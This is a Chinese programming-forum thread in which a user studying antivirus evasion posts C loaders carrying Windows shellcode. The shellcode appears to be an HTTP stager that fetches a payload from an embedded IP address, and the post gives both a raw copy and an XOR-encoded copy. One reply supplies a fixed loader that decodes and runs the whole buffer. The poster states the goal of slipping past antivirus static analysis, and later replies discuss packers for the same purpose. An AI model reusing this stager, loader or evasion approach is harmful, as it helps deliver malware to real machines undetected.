已掉线,重新登录

首页 > 绿虎论坛 > 杂类 > 学习 (发帖)

标题: 求助老虎,为何这个C语言跑不起来

作者: @Ta

时间: 2023-05-15发布,2023-05-15修改

点击: 239

最近在学免杀,有一段shellcode需要使用C语言引导执行。
首先将shell code 一个字节一个字节的执行,没有问题。
然后将shell code 异或处理后,再以字节为单位,先异或处理,再执行,会报错。

麻烦老虎大佬帮我看一下为何....

#include <stdio.h>
#include <stdlib.h>

// 原始的 shell code
unsigned char shell_code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x6c\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x4a\x41\x77\x5a\x00\x17\xd6\x0e\x54\x98\x90\x2d\x23\xb4\x7f\x71\xe7\x3c\x08\x78\x7f\xac\x88\x38\x31\x33\x48\x52\x9e\x58\x85\xec\x99\x51\xeb\xe5\x04\x1a\xb9\x27\xe2\x1a\x5f\xd4\x23\xcb\x61\x92\x9f\xf0\x72\xd3\xcc\x91\xe8\x06\x01\x90\xae\x9d\x48\x49\x4f\x71\x37\xf8\xd8\xe7\x16\x3f\x23\xb1\x66\xf6\x4b\x13\xd6\xef\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x06\xde\xf8\x37\xd4\x1d\xd8\xfe\xab\x04\x86\x04\x1d\x0a\x84\x6c\xc1\xee\xe8\xce\x4f\x3d\xfb\xcf\xbc\x36\x0d\x49\x2e\x8a\x2b\xb2\x55\xba\x89\x17\x28\x03\xfd\xe1\x22\x9f\xd6\xd0\x2b\x2f\xb4\x43\xbf\xdd\xb5\x34\x27\xe2\x75\xa1\x3d\x84\x2c\x1a\x5d\x25\x52\x9d\xd5\x4f\x31\x04\x2b\x68\x9e\xbf\x34\x57\xbe\x85\x2d\x40\xf1\x1f\xbe\x37\x6a\x5b\x05\xc5\x74\xe1\x3a\xfe\x96\x7f\x45\xa8\x71\x21\x64\x38\x00\x41\x26\xfe\xb1\x16\xe8\x46\x22\xa0\xb1\x0c\xc7\x05\x77\x38\xe0\xf2\x53\x97\xc3\x45\x8e\xe2\xed\x50\x5b\xa2\x3a\x6e\xf2\x95\x19\x9b\x32\x86\x8b\x6e\x33\x39\x8b\xaf\x2f\x88\xa9\x0b\x67\x88\x68\xbd\xb6\x41\xe2\xa4\x61\x8f\x69\x98\x8f\x08\xc7\x7c\x4c\xd5\x65\x90\xfc\xbb\x55\xdb\x58\x7f\xde\x3c\x24\x1f\xe9\x69\xdb\xde\x98\x05\x47\xfc\xdb\x42\x5c\x21\xf0\x6f\xe6\x0a\xb7\x14\x76\x72\x0d\xe6\x87\xea\x4c\x5d\x0f\x0c\x5b\x67\xbb\x66\x7f\x45\x4c\xa7\x00\x29\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x33\x2e\x31\x32\x00\x3a\xde\x68\xb1";

void test()
{
    int len = sizeof(shell_code) - 1;
    printf("%d", len);
    // system("pause");

    typedef void (*ShellCodeFunction)();
    ShellCodeFunction shell_code_func;
    unsigned char *plain = shell_code;

    // 将 shell code 一个个元素执行
    for (int i = 0; i < len; i++)
    {
        shell_code_func = (ShellCodeFunction)plain;
        shell_code_func();
        plain++;
    }
}

void main()
{
    test();
}
#include <stdio.h>
#include <stdlib.h>

// 经过异或处理的 shell code
unsigned char shell_code[] = "\x01\x15\x74\xfd\xfd\xfd\x9d\x74\x18\xcc\x2f\x99\x76\xaf\xcd\x76\xaf\xf1\x76\xaf\xe9\x76\x8f\xd5\xf2\x4a\xb7\xdb\xcc\x02\xcc\x3d\x51\xc1\x9c\x81\xff\xd1\xdd\x3c\x32\xf0\xfc\x3a\x1f\x0d\xaf\xaa\x76\xaf\xed\x76\xbf\xc1\xfc\x2d\x76\xbd\x85\x78\x3d\x89\xb7\xfc\x2d\xad\x76\xb5\xe5\x76\xa5\xdd\xfc\x2e\x1e\xc1\xb4\x76\xc9\x76\xfc\x2b\xcc\x02\xcc\x3d\x51\x3c\x32\xf0\xfc\x3a\xc5\x1d\x88\x09\xfe\x80\x05\xc6\x80\xd9\x88\x1f\xa5\x76\xa5\xd9\xfc\x2e\x9b\x76\xf1\xb6\x76\xa5\xe1\xfc\x2e\x76\xf9\x76\xfc\x2d\x74\xb9\xd9\xd9\xa6\xa6\x9c\xa4\xa7\xac\x02\x1d\xa5\xa2\xa7\x76\xef\x16\x7b\xa0\x95\x93\x98\x89\xfd\x95\x8a\x94\x93\x94\xa9\x95\xb1\x8a\xdb\xfa\x02\x28\xcc\x02\xaa\xaa\xaa\xaa\xaa\x95\xc7\xab\x84\x5a\x02\x28\x14\x79\xfd\xfd\xfd\xa6\xcc\x34\xac\xac\x97\xfe\xac\xac\x95\x91\xdf\xfd\xfd\xae\xad\x95\xaa\x74\x62\x3b\x02\x28\x16\x8d\xa6\xcc\x2f\xaf\x95\xfd\xff\xbd\x79\xaf\xaf\xaf\xae\xaf\xad\x95\x16\xa8\xd3\xc6\x02\x28\x74\x3b\x7e\x3e\xad\xcc\x02\xaa\xaa\x97\x02\xae\xab\x95\xd0\xfb\xe5\x86\x02\x28\x78\x3d\xf2\x79\x3e\xfc\xfd\xfd\xcc\x02\x78\x0b\x89\xf9\x74\x04\x16\xf4\x95\x57\x38\x1f\xa0\x02\x28\x74\x3c\x95\xb8\xdc\xa3\xcc\x02\x28\xcc\x02\xaa\x97\xfa\xac\xab\xad\x95\x4a\xaa\x1d\xf6\x02\x28\x42\xfd\xd2\xfd\xfd\xc4\x3a\x89\x4a\xcc\x02\x14\x6c\xfc\xfd\xfd\x14\x34\xfc\xfd\xfd\x15\x76\x02\x02\x02\xd2\xb7\xbc\x8a\xa7\xfd\xea\x2b\xf3\xa9\x65\x6d\xd0\xde\x49\x82\x8c\x1a\xc1\xf5\x85\x82\x51\x75\xc5\xcc\xce\xb5\xaf\x63\xa5\x78\x11\x64\xac\x16\x18\xf9\xe7\x44\xda\x1f\xe7\xa2\x29\xde\x36\x9c\x6f\x62\x0d\x8f\x2e\x31\x6c\x15\xfb\xfc\x6d\x53\x60\xb5\xb4\xb2\x8c\xca\x05\x25\x1a\xeb\xc2\xde\x4c\x9b\x0b\xb6\xee\x2b\x12\xfd\xa8\x8e\x98\x8f\xd0\xbc\x9a\x98\x93\x89\xc7\xdd\xb0\x92\x87\x94\x91\x91\x9c\xd2\xc8\xd3\xcd\xdd\xd5\x9e\x92\x90\x8d\x9c\x89\x94\x9f\x91\x98\xc6\xdd\xb0\xae\xb4\xb8\xdd\xcc\xcd\xd3\xcd\xc6\xdd\xaa\x94\x93\x99\x92\x8a\x8e\xdd\xb3\xa9\xdd\xcb\xd3\xcf\xc6\xdd\xaa\x94\x93\xcb\xc9\xc6\xdd\x85\xcb\xc9\xc6\xdd\xa9\x8f\x94\x99\x98\x93\x89\xd2\xcb\xd3\xcd\xd4\xf0\xf7\xfd\xfb\x23\x05\xca\x29\xe0\x25\x03\x56\xf9\x7b\xf9\xe0\xf7\x79\x91\x3c\x13\x15\x33\xb2\xc0\x06\x32\x41\xcb\xf0\xb4\xd3\x77\xd6\x4f\xa8\x47\x74\xea\xd5\xfe\x00\x1c\xdf\x62\x2b\x2d\xd6\xd2\x49\xbe\x42\x20\x48\xc9\xda\x1f\x88\x5c\xc0\x79\xd1\xe7\xa0\xd8\xaf\x60\x28\xb2\xcc\xf9\xd6\x95\x63\x42\xc9\xaa\x43\x78\xd0\xbd\x0c\xe2\x43\xca\x97\xa6\xf8\x38\x89\x1c\xc7\x03\x6b\x82\xb8\x55\x8c\xdc\x99\xc5\xfd\xbc\xdb\x03\x4c\xeb\x15\xbb\xdf\x5d\x4c\xf1\x3a\xf8\x8a\xc5\x1d\x0f\xae\x6a\x3e\xb8\x73\x1f\x10\xad\xa6\x5f\xc7\x93\x0f\x68\xe4\x66\xcf\x7b\x76\x93\xce\xc4\x76\x52\xd2\x75\x54\xf6\x9a\x75\x95\x40\x4b\xbc\x1f\x59\x9c\x72\x94\x65\x72\xf5\x3a\x81\xb1\x28\x98\x6d\x01\x46\xa8\x26\xa5\x82\x23\xc1\xd9\xe2\x14\x94\x26\x23\x65\xf8\xba\x01\x26\xbf\xa1\xdc\x0d\x92\x1b\xf7\x4a\xe9\x8b\x8f\xf0\x1b\x7a\x17\xb1\xa0\xf2\xf1\xa6\x9a\x46\x9b\x82\xb8\xb1\x5a\xfd\xd4\xfd\x95\x0d\x48\x5f\xab\x02\x28\x97\xbd\x95\xfd\xed\xfd\xfd\x95\xfd\xfd\xbd\xfd\xaa\x95\xa5\x59\xae\x18\x02\x28\x6e\x44\xfd\xfd\xfd\xfd\xfc\x24\xac\xae\x74\x1a\xaa\x95\xfd\xdd\xfd\xfd\xae\xab\x95\xef\x6b\x74\x1f\x02\x28\x78\x3d\x89\x3b\x76\xfa\xfc\x3e\x78\x3d\x88\x18\xa5\x3e\x15\x54\x00\x02\x02\xcc\xc4\xcf\xd3\xcc\xcb\xc5\xd3\xcc\xcf\xce\xd3\xcc\xcf\xfd\xc7\x23\x95\x4c";

void test()
{
    int len = sizeof(shell_code) - 1;
    printf("%d", len);
    // system("pause");

    typedef void (*ShellCodeFunction)();
    ShellCodeFunction shell_code_func;
    unsigned char *plain = shell_code;

    // 将 shell code 一个个元素解密 + 执行
    for (int i = 0; i < len; i++)
    {
        *plain = shell_code[i] ^ 1021;
        shell_code_func = (ShellCodeFunction)plain;
        shell_code_func();
    }
}

void main()
{
    test();
}

小米MIX2s(白)


[隐藏样式|查看源码]


『回复列表(14|隐藏机器人聊天)』

1.

@老虎会游泳 救救菜鸟
小米MIX2s(白)

(/@Ta/2023-05-15 19:00//)

2.

@天蓝
从你的描述来看,你试图将一个字节一个字节地执行你的shellcode,然后再对shellcode进行异或处理,然后再尝试执行。然而,在第二种情况下,程序会报错。

这里出问题的原因可能在于shellcode经过异或处理后,其原始的意图和功能都被改变了。这就意味着,当你试图执行这些异或处理过的字节时,你可能会尝试执行一些无效或者无意义的指令,这自然会导致程序错误。

一种可能的解决方案是,在你执行异或处理过的shellcode之前,需要先将其解密回原始的shellcode。下面是一个示例代码,希望能够帮助你解决这个问题:

#include <stdio.h>
#include <stdlib.h>

// 经过异或处理的 shell code
unsigned char shell_code[] = "你的shellcode";

void test()
{
    int len = sizeof(shell_code) - 1;
    printf("%d", len);

    typedef void (*ShellCodeFunction)();
    ShellCodeFunction shell_code_func;
    unsigned char *plain = shell_code;

    unsigned char key = 0x12; // 假设你的异或密钥是0x12

    // 对shell code进行解密
    for (int i = 0; i < len; i++)
    {
        plain[i] = plain[i] ^ key;
    }

    // 将 shell code 一个个元素执行
    for (int i = 0; i < len; i++)
    {
        shell_code_func = (ShellCodeFunction)plain;
        shell_code_func();
        plain++;
    }
}

void main()
{
    test();
}

请注意,这只是一个例子。在实际使用中,你需要知道用于异或操作的密钥,以便正确解密shellcode。此外,你可能还需要处理其他的安全问题和异常,这取决于你的shellcode和你的程序的具体需求。

希望这个解答能对你有所帮助!如果你还有其他问题,欢迎继续提问。
一加8Pro

(/@Ta/2023-05-15 19:17//)

3.

@罐子,这样的话执行应该没问题,但是过不了杀软的静态分析。所以我的想法是 先解密一个字节,然后执行这个字节,再解密第二个字节、执行第二个字节
小米MIX2s(白)

(/@Ta/2023-05-15 19:24//)

4.

@天蓝
这个程序尝试执行一段通过异或加密的shell代码,但有一些问题。首先,shell_code数组中的每个元素都是一个字节,而异或操作数1021超过了一个字节。如果这不是一个错误,那么可能原意是将shell_code视为一个大端或小端的16位整数数组,但这需要明确说明。

其次,将代码解密并执行的方式也存在问题。你的程序试图在每次解密一个字节后就执行解密的代码,这是不可行的。因为一条机器指令通常会包含多个字节,所以你需要先解密所有的shell代码,然后再执行。

修正这些问题后,代码应该如下:

#include <stdio.h>

// 经过异或处理的 shell code
unsigned char shell_code[] = "\x01\x15\x74\xfd\xfd\xfd\x9d\x74\x18\xcc\x2f\x99\x76\xaf\xcd\x76\xaf\xf1\x76\xaf\xe9\x76\x8f\xd5\xf2\x4a\xb7\xdb\xcc\x02\xcc\x3d\x51\xc1\x9c\x81\xff\xd1\xdd\x3c\x32\xf0\..............";

void test()
{
    int len = sizeof(shell_code) - 1;
    printf("%d", len);

    typedef void (*ShellCodeFunction)();

    // Create a buffer to store the decrypted shell code
    unsigned char decrypted_shell_code[sizeof(shell_code)] = {0};

    // Decrypt the shell code
    for (int i = 0; i < len; i++)
    {
        decrypted_shell_code[i] = shell_code[i] ^ (unsigned char)1021; // We cast 1021 to unsigned char, so that it fits in a byte
    }

    // Execute the shell code
    ShellCodeFunction shell_code_func = (ShellCodeFunction)decrypted_shell_code;
    shell_code_func();
}

int main() // main function should return int
{
    test();
    return 0; // return a value from main
}

注意,这个修复的代码假定了1021是一个错误,并且它应该是一个字节大小的值。如果这不是一个错误,那么你需要使用一个不同的方法来解密shell代码。

还要注意,这段代码中的shell代码应该是预先通过异或操作加密的有效机器代码,否则执行这段代码可能会导致未定义行为,包括程序崩溃。

此外,从安全角度来说,执行未知的或不受信任的shell代码是非常危险的。这样做可能会使你的系统暴露给潜在的攻击,包括数据损坏和未授权的系统访问。所以,这种技术一般只在研究和教学环境中使用,而不应在生产环境中使用。

最后,这个代码只能在某些环境下工作,具体取决于操作系统和硬件架构。许多现代操作系统出于安全
一加8Pro

(/@Ta/2023-05-15 19:28//)

5.

@天蓝,如果不整块解码就无法执行:

  1. 所有x86指令的大小都长于1字节。
  2. x86指令是不等长的,有的长有的短,想逐指令执行必须对指令内容进行分析。
  3. 很多指令都必须连续执行,在前后插入其他操作会导致指令的结果丢失,后续指令读取不到。所以就算实现了逐指令解码执行,程序的运行结果也会和之前完全不同。
(/@Ta/2023-05-15 19:34//)

6.

@天蓝,4. 跳转指令使用自身在完整代码块中的相对位置进行跳转,如果指令执行时它和跳转目标的相对位置与之前不同,那执行结果肯定不正确。在逐指令解码执行过程中,跳转指令执行时跳转目标甚至还没有被解码,程序显然不能正常运行。

(/@Ta/2023-05-15 19:37//)

7.

@罐子@老虎会游泳,了解 感谢 支持
小米MIX2s(白)

(/@Ta/2023-05-15 19:37//)

8.

@天蓝,算了你自己问问chatgpt来解决吧
一加8Pro

(/@Ta/2023-05-15 19:41//)

9.

@罐子这个实现不了了,我只能再看看别的思路了
小米MIX2s(白)

(/@Ta/2023-05-15 20:03//)

10.

@天蓝,那你可以试试golang语言
一加8Pro

(/@Ta/2023-05-15 20:58//)

11.

@老虎会游泳,其实可以自定义序列化
掌缘生灭(白)

(/@Ta/2023-05-16 00:56//)

12.

@c,无论怎么序列化,代码块在运行前都必须解码且连续存放在内存中,所以还是没有用。

(/@Ta/2023-05-16 09:05//)

13. 因为有些指令不止一个字节吧,你得一个指令一个指令解密执行,而不是一个字节一个字节解密执行。
(/@Ta/2023-05-18 13:52//)

14. 我觉得,直接加个虚拟机的壳不就好了吗?
(/@Ta/2023-05-18 13:53//)

回复需要登录

7月14日 01:57 星期一

本站由hu60wap6驱动

备案号: 京ICP备18041936号-1